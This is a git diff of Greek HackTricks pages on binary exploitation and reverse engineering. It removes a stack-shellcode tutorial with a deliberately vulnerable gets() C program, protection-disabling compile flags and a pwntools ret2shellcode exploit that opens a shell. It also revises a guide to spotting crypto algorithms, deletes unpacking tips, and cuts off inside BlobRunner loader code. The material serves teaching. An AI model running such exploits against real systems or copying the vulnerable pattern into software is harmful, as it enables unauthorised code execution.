gadget -``` -pop <=== return pointer - -xchg , rsp -``` -## Αναφορές - -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md deleted file mode 100644 index 8417261f8..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Shellcode - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην εκμετάλλευση δυαδικών αρχείων, όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Δείκτη Εντολών (IP)** ή τον **Εκτεταμένο Δείκτη Εντολών (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**. - -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: -```c -#include -#include - -void vulnerable_function() { -char buffer[64]; -gets(buffer); // Unsafe function that does not check for buffer overflow -} - -int main() { -vulnerable_function(); -printf("Returned safely\n"); -return 0; -} -``` -Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`. - -### Συγκέντρωση - -Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας. -- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα. -- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας. -- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων. - -### Python Exploit using Pwntools - -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: -```python -from pwn import * - -# Set up the process and context -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path -context.arch = 'i386' # Specify the architecture - -# Generate the shellcode -shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell - -# Find the offset to EIP -offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash - -# Prepare the payload -# The NOP slide helps to ensure that the execution flow hits the shellcode. -nop_slide = asm('nop') * (offset - len(shellcode)) -payload = nop_slide + shellcode -payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP -payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide - -# Send the payload -p.sendline(payload) -p.interactive() -``` -Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί. - -Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide. - -## Προστασίες - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ. -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη. - -## Άλλα Παραδείγματα & Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) -- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και κάντε jump σε αυτό -- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και κάντε jump σε αυτό -- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και κάντε jump σε αυτό - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 1352c9746..72627eb5c 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -1,22 +1,20 @@ -# Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι - -## Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι +# Κρυπτογραφικοί/Αλγόριθμοι Συμπίεσης {{#include ../../banners/hacktricks-training.md}} ## Αναγνώριση Αλγορίθμων -Αν καταλήξετε σε έναν κώδικα **χρησιμοποιώντας μετατοπίσεις δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι πρόκειται για την υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αναστρέψετε κάθε βήμα**. +Αν καταλήγεις σε έναν κώδικα **χρησιμοποιώντας μετατοπίσεις δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό να είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσεις τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αναστρέψεις κάθε βήμα**. ### Λειτουργίες API **CryptDeriveKey** -Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: +Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (375) (1) (1) (1) (1).png>) -Δείτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** @@ -24,38 +22,38 @@ **CryptAcquireContext** -Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο container κλειδιών εντός ενός συγκεκριμένου παρόχου κρυπτογραφικών υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP. +Από [τα docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η λειτουργία **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα handle σε ένα συγκεκριμένο container κλειδιών μέσα σε έναν συγκεκριμένο πάροχο κρυπτογραφικών υπηρεσιών (CSP). **Αυτό το επιστρεφόμενο handle χρησιμοποιείται σε κλήσεις σε λειτουργίες CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP. **CryptCreateHash** -Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: +Αρχίζει την καταμέτρηση ενός ρεύματος δεδομένων. Αν αυτή η λειτουργία χρησιμοποιείται, μπορείς να βρεις ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου: ![](<../../images/image (376).png>) \ -Δείτε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Έλεγξε εδώ τον πίνακα των πιθανών αλγορίθμων και των ανατεθειμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Σταθερές Κώδικα -Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή. +Μερικές φορές είναι πολύ εύκολο να αναγνωρίσεις έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή. ![](<../../images/image (370).png>) -Αν ψάξετε για την πρώτη σταθερά στο Google αυτό είναι που θα βρείτε: +Αν ψάξεις για την πρώτη σταθερά στο Google αυτό είναι που θα βρεις: ![](<../../images/image (371).png>) -Επομένως, μπορείτε να υποθέσετε ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\ -Μπορείτε να αναζητήσετε οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσετε (πιθανώς) το ίδιο αποτέλεσμα. +Επομένως, μπορείς να υποθέσεις ότι η αποσυμπιεσμένη λειτουργία είναι ένας **υπολογιστής sha256.**\ +Μπορείς να ψάξεις οποιαδήποτε από τις άλλες σταθερές και θα αποκτήσεις (πιθανώς) το ίδιο αποτέλεσμα. ### πληροφορίες δεδομένων Αν ο κώδικας δεν έχει καμία σημαντική σταθερά μπορεί να είναι **φορτώνοντας πληροφορίες από την ενότητα .data**.\ -Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα: +Μπορείς να έχεις πρόσβαση σε αυτά τα δεδομένα, **ομαδοποιώντας το πρώτο dword** και ψάχνοντας το στο Google όπως κάναμε στην προηγούμενη ενότητα: ![](<../../images/image (372).png>) -Σε αυτή την περίπτωση, αν ψάξετε για **0xA56363C6** μπορείτε να βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**. +Σε αυτή την περίπτωση, αν ψάξεις για **0xA56363C6** μπορείς να βρεις ότι σχετίζεται με τους **πίνακες του αλγορίθμου AES**. ## RC4 **(Συμμετρική Κρυπτογράφηση)** @@ -63,18 +61,18 @@ Αποτελείται από 3 κύρια μέρη: -- **Στάδιο αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox). -- **Στάδιο ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε προηγουμένως (κύκλος 0x100 επαναλήψεων, ξανά) δημιουργώντας τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το **κλειδί RC4**. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος. -- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο είναι **XORed με τις τιμές που δημιουργήθηκαν προηγουμένως**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσω των 256 bytes που δημιουργήθηκαν** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**. +- **Στάδιο Αρχικοποίησης/**: Δημιουργεί έναν **πίνακα τιμών από 0x00 έως 0xFF** (256bytes συνολικά, 0x100). Αυτός ο πίνακας ονομάζεται συνήθως **Substitution Box** (ή SBox). +- **Στάδιο Ανακατανομής**: Θα **περάσει από τον πίνακα** που δημιουργήθηκε πριν (κύκλος 0x100 επαναλήψεων, ξανά) τροποποιώντας κάθε τιμή με **ημι-τυχαία** bytes. Για να δημιουργηθούν αυτά τα ημι-τυχαία bytes, χρησιμοποιείται το κλειδί RC4. Τα **κλειδιά RC4** μπορούν να είναι **μεταξύ 1 και 256 bytes σε μήκος**, ωστόσο συνήθως συνιστάται να είναι πάνω από 5 bytes. Συνήθως, τα κλειδιά RC4 είναι 16 bytes σε μήκος. +- **Στάδιο XOR**: Τέλος, το απλό κείμενο ή το κρυπτογραφημένο κείμενο **XORed με τις τιμές που δημιουργήθηκαν πριν**. Η λειτουργία για την κρυπτογράφηση και την αποκρυπτογράφηση είναι η ίδια. Για αυτό, θα εκτελεστεί ένας **κύκλος μέσα από τα δημιουργημένα 256 bytes** όσες φορές είναι απαραίτητο. Αυτό συνήθως αναγνωρίζεται σε έναν αποσυμπιεσμένο κώδικα με ένα **%256 (mod 256)**. -> [!NOTE] -> **Για να αναγνωρίσετε έναν RC4 σε έναν αποσυναρμολογημένο/αποσυμπιεσμένο κώδικα μπορείτε να ελέγξετε για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν προηγουμένως στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)** +> [!TIP] +> **Για να αναγνωρίσεις ένα RC4 σε έναν αποσυμπιεσμένο/αποσυμπιεσμένο κώδικα μπορείς να ελέγξεις για 2 κύκλους μεγέθους 0x100 (με τη χρήση ενός κλειδιού) και στη συνέχεια ένα XOR των δεδομένων εισόδου με τις 256 τιμές που δημιουργήθηκαν πριν στους 2 κύκλους πιθανώς χρησιμοποιώντας ένα %256 (mod 256)** -### **Στάδιο αρχικοποίησης/Πίνακας υποκατάστασης:** (Σημειώστε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων) +### **Στάδιο Αρχικοποίησης/Πίνακας Υποκατάστασης:** (Σημείωσε τον αριθμό 256 που χρησιμοποιείται ως μετρητής και πώς γράφεται ένα 0 σε κάθε θέση των 256 χαρακτήρων) ![](<../../images/image (377).png>) -### **Στάδιο ανακατανομής:** +### **Στάδιο Ανακατανομής:** ![](<../../images/image (378).png>) @@ -87,7 +85,7 @@ ### **Χαρακτηριστικά** - Χρήση **πινακων υποκατάστασης και πινάκων αναζήτησης** -- Είναι δυνατόν να **διακρίνετε το AES χάρη στη χρήση συγκεκριμένων τιμών πίνακα αναζήτησης** (σταθερές). _Σημειώστε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργηθεί** _**δυναμικά**._ +- Είναι δυνατόν να **διακρίνεις το AES χάρη στη χρήση συγκεκριμένων τιμών πίνακα αναζήτησης** (σταθερές). _Σημείωσε ότι η **σταθερά** μπορεί να είναι **αποθηκευμένη** στο δυαδικό **ή να δημιουργείται** _**δυναμικά**._ - Το **κλειδί κρυπτογράφησης** πρέπει να είναι **διαιρέσιμο** με **16** (συνήθως 32B) και συνήθως χρησιμοποιείται ένα **IV** 16B. ### Σταθερές SBox @@ -98,21 +96,21 @@ ### Χαρακτηριστικά -- Είναι σπάνιο να βρείτε κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif) -- Απλό να προσδιορίσετε αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μακρά λειτουργία) +- Είναι σπάνιο να βρεις κάποιο malware που να το χρησιμοποιεί αλλά υπάρχουν παραδείγματα (Ursnif) +- Απλό να προσδιορίσεις αν ένας αλγόριθμος είναι Serpent ή όχι με βάση το μήκος του (εξαιρετικά μεγάλη λειτουργία) ### Αναγνώριση -Στην παρακάτω εικόνα παρατηρήστε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημειώστε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγορίθμους όπως **TEA** -Tiny Encryption Algorithm).\ -Επίσης σημειώστε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυναρμολόγησης** και στο **παράδειγμα κώδικα**: +Στην παρακάτω εικόνα παρατήρησε πώς χρησιμοποιείται η σταθερά **0x9E3779B9** (σημείωσε ότι αυτή η σταθερά χρησιμοποιείται επίσης από άλλους κρυπτογραφικούς αλγορίθμους όπως **TEA** -Tiny Encryption Algorithm).\ +Επίσης σημείωσε το **μέγεθος του κύκλου** (**132**) και τον **αριθμό των λειτουργιών XOR** στις **εντολές αποσυμπίεσης** και στο **παράδειγμα κώδικα**: ![](<../../images/image (381).png>) -Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μακριά λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το παρακάτω: +Όπως αναφέρθηκε προηγουμένως, αυτός ο κώδικας μπορεί να οπτικοποιηθεί μέσα σε οποιονδήποτε αποσυμπιεστή ως μια **πολύ μεγάλη λειτουργία** καθώς **δεν υπάρχουν άλματα** μέσα σε αυτόν. Ο αποσυμπιεσμένος κώδικας μπορεί να φαίνεται όπως το εξής: ![](<../../images/image (382).png>) -Επομένως, είναι δυνατόν να αναγνωρίσετε αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μακριά λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μακριάς λειτουργίας **με μια υλοποίηση** (όπως η μετατόπιση αριστερά κατά 7 και η περιστροφή αριστερά κατά 22). +Επομένως, είναι δυνατόν να αναγνωρίσεις αυτόν τον αλγόριθμο ελέγχοντας τον **μαγικό αριθμό** και τους **αρχικούς XORs**, βλέποντας μια **πολύ μεγάλη λειτουργία** και **συγκρίνοντας** κάποιες **εντολές** της μεγάλης λειτουργίας **με μια υλοποίηση** (όπως η μετατόπιση αριστερά κατά 7 και η περιστροφή αριστερά κατά 22). ## RSA **(Ασύμμετρη Κρυπτογράφηση)** @@ -120,7 +118,7 @@ - Πιο περίπλοκος από τους συμμετρικούς αλγορίθμους - Δεν υπάρχουν σταθερές! (οι προσαρμοσμένες υλοποιήσεις είναι δύσκολο να προσδιοριστούν) -- KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές. +- Ο KANAL (ένας αναλυτής κρυπτογράφησης) αποτυγχάνει να δείξει ενδείξεις για το RSA καθώς βασίζεται σε σταθερές. ### Αναγνώριση μέσω συγκρίσεων @@ -140,28 +138,28 @@ **Init** -Μπορείτε να αναγνωρίσετε και τους δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5: +Μπορείς να αναγνωρίσεις και τους δύο ελέγχοντας τις σταθερές. Σημείωσε ότι η sha_init έχει 1 σταθερά που δεν έχει το MD5: ![](<../../images/image (385).png>) **MD5 Transform** -Σημειώστε τη χρήση περισσότερων σταθερών +Σημείωσε τη χρήση περισσότερων σταθερών ![](<../../images/image (253) (1) (1) (1).png>) ## CRC (hash) - Μικρότερος και πιο αποδοτικός καθώς η λειτουργία του είναι να βρίσκει τυχαίες αλλαγές στα δεδομένα -- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείτε να αναγνωρίσετε σταθερές) +- Χρησιμοποιεί πίνακες αναζήτησης (έτσι μπορείς να αναγνωρίσεις σταθερές) ### Αναγνώριση -Ελέγξτε **σταθερές πίνακα αναζήτησης**: +Έλεγξε **σταθερές πίνακα αναζήτησης**: ![](<../../images/image (387).png>) -Ένας αλγόριθμος hash CRC φαίνεται όπως: +Ένας αλγόριθμος hash CRC μοιάζει με: ![](<../../images/image (386).png>) @@ -170,7 +168,7 @@ ### Χαρακτηριστικά - Μη αναγνωρίσιμες σταθερές -- Μπορείτε να προσπαθήσετε να γράψετε τον αλγόριθμο σε python και να αναζητήσετε παρόμοια πράγματα online +- Μπορείς να προσπαθήσεις να γράψεις τον αλγόριθμο σε python και να ψάξεις για παρόμοια πράγματα online ### Αναγνώριση @@ -178,7 +176,7 @@ ![](<../../images/image (207) (2) (1).png>) -Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**: +Έλεγξε **3 συγκρίσεις για να τον αναγνωρίσεις**: ![](<../../images/image (384).png>) diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md deleted file mode 100644 index 9574fc9c6..000000000 --- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md +++ /dev/null @@ -1,24 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Αναγνώριση πακεταρισμένων δυαδικών αρχείων - -- **έλλειψη συμβολοσειρών**: Είναι συνηθισμένο να διαπιστώνουμε ότι τα πακεταρισμένα δυαδικά αρχεία δεν έχουν σχεδόν καμία συμβολοσειρά -- Πολλές **μη χρησιμοποιούμενες συμβολοσειρές**: Επίσης, όταν ένα κακόβουλο λογισμικό χρησιμοποιεί κάποιο είδος εμπορικού πακετάρη, είναι συνηθισμένο να βρίσκουμε πολλές συμβολοσειρές χωρίς διασταυρώσεις. Ακόμα και αν αυτές οι συμβολοσειρές υπάρχουν, αυτό δεν σημαίνει ότι το δυαδικό αρχείο δεν είναι πακεταρισμένο. -- Μπορείτε επίσης να χρησιμοποιήσετε κάποια εργαλεία για να προσπαθήσετε να βρείτε ποιος πακετάρης χρησιμοποιήθηκε για να πακεταριστεί ένα δυαδικό αρχείο: -- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) -- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) -- [Language 2000](http://farrokhi.net/language/) - -# Βασικές Συστάσεις - -- **Ξεκινήστε** να αναλύετε το πακεταρισμένο δυαδικό αρχείο **από το κάτω μέρος στο IDA και προχωρήστε προς τα πάνω**. Οι αποπακεταριστές εξέρχονται μόλις ο αποπακεταρισμένος κώδικας εξέρχεται, οπότε είναι απίθανο ο αποπακεταριστής να περάσει την εκτέλεση στον αποπακεταρισμένο κώδικα στην αρχή. -- Αναζητήστε **JMP's** ή **CALLs** σε **καταχωρητές** ή **περιοχές** της **μνήμης**. Επίσης, αναζητήστε **συναρτήσεις που σπρώχνουν παραμέτρους και μια διεύθυνση και στη συνέχεια καλούν `retn`**, γιατί η επιστροφή της συνάρτησης σε αυτή την περίπτωση μπορεί να καλέσει τη διεύθυνση που μόλις σπρώχτηκε στο στοίβα πριν την καλέσει. -- Τοποθετήστε ένα **breakpoint** στο `VirtualAlloc` καθώς αυτό εκχωρεί χώρο στη μνήμη όπου το πρόγραμμα μπορεί να γράψει αποπακεταρισμένο κώδικα. "τρέξτε στον κώδικα χρήστη" ή χρησιμοποιήστε το F8 για να **φτάσετε στην τιμή μέσα στο EAX** μετά την εκτέλεση της συνάρτησης και "**ακολουθήστε αυτή τη διεύθυνση στο dump**". Ποτέ δεν ξέρετε αν αυτή είναι η περιοχή όπου θα αποθηκευτεί ο αποπακεταρισμένος κώδικας. -- **`VirtualAlloc`** με την τιμή "**40**" ως επιχείρημα σημαίνει Ανάγνωση+Γράψιμο+Εκτέλεση (κάποιος κώδικας που χρειάζεται εκτέλεση θα αντιγραφεί εδώ). -- **Κατά την αποπακετοποίηση** του κώδικα είναι φυσιολογικό να βρείτε **πολλές κλήσεις** σε **αριθμητικές λειτουργίες** και συναρτήσεις όπως **`memcopy`** ή **`Virtual`**`Alloc`. Αν βρεθείτε σε μια συνάρτηση που προφανώς εκτελεί μόνο αριθμητικές λειτουργίες και ίσως κάποια `memcopy`, η σύσταση είναι να προσπαθήσετε να **βρείτε το τέλος της συνάρτησης** (ίσως ένα JMP ή κλήση σε κάποιον καταχωρητή) **ή** τουλάχιστον την **κλήση στην τελευταία συνάρτηση** και να τρέξετε εκεί καθώς ο κώδικας δεν είναι ενδιαφέρον. -- Κατά την αποπακετοποίηση του κώδικα **σημειώστε** όποτε **αλλάζετε περιοχή μνήμης** καθώς μια αλλαγή περιοχής μνήμης μπορεί να υποδηλώνει την **έναρξη του αποπακεταρισμένου κώδικα**. Μπορείτε εύκολα να κάνετε dump μια περιοχή μνήμης χρησιμοποιώντας το Process Hacker (process --> properties --> memory). -- Κατά την προσπάθεια αποπακετοποίησης του κώδικα, ένας καλός τρόπος για να **γνωρίζετε αν ήδη εργάζεστε με τον αποπακεταρισμένο κώδικα** (έτσι ώστε να μπορείτε απλά να το κάνετε dump) είναι να **ελέγξετε τις συμβολοσειρές του δυαδικού αρχείου**. Αν σε κάποιο σημείο εκτελέσετε ένα jump (ίσως αλλάζοντας την περιοχή μνήμης) και παρατηρήσετε ότι **προστέθηκαν πολλές περισσότερες συμβολοσειρές**, τότε μπορείτε να γνωρίζετε **ότι εργάζεστε με τον αποπακεταρισμένο κώδικα**.\ -Ωστόσο, αν ο πακετάρης περιέχει ήδη πολλές συμβολοσειρές, μπορείτε να δείτε πόσες συμβολοσειρές περιέχουν τη λέξη "http" και να δείτε αν αυτός ο αριθμός αυξάνεται. -- Όταν κάνετε dump ένα εκτελέσιμο από μια περιοχή μνήμης, μπορείτε να διορθώσετε κάποιες κεφαλίδες χρησιμοποιώντας [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools/blobrunner.md b/src/reversing/reversing-tools/blobrunner.md deleted file mode 100644 index 730be5f0f..000000000 --- a/src/reversing/reversing-tools/blobrunner.md +++ /dev/null @@ -1,207 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -Η μόνη τροποποιημένη γραμμή από τον [αρχικό κώδικα](https://github.com/OALabs/BlobRunner) είναι η γραμμή 10. Για να το μεταγλωττίσετε απλά **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κατασκευάστε το**. -```c -#include -#include -#include - -#ifdef _WIN64 -#include -#endif - -// Define bool -#pragma warning(disable:4996) -#define true 1 -#define false 0 - -const char* _version = "0.0.5"; - -const char* _banner = " __________.__ ___. __________\n" -" \\______ \\ | ____\\_ |__\\______ \\__ __ ____ ____ ___________ \n" -" | | _/ | / _ \\| __ \\| _/ | \\/ \\ / \\_/ __ \\_ __ \\ \n" -" | | \\ |_( <_> ) \\_\\ \\ | \\ | / | \\ | \\ ___/| | \\/ \n" -" |______ /____/\\____/|___ /____|_ /____/|___| /___| /\\___ >__| \n" -" \\/ \\/ \\/ \\/ \\/ \\/ \n\n" -" %s \n\n"; - - -void banner() { -system("cls"); -printf(_banner, _version); -return; -} - -LPVOID process_file(char* inputfile_name, bool jit, int offset, bool debug) { -LPVOID lpvBase; -FILE* file; -unsigned long fileLen; -char* buffer; -DWORD dummy; - -file = fopen(inputfile_name, "rb"); - -if (!file) { -printf(" [!] Error: Unable to open %s\n", inputfile_name); - -return (LPVOID)NULL; -} - -printf(" [*] Reading file...\n"); -fseek(file, 0, SEEK_END); -fileLen = ftell(file); 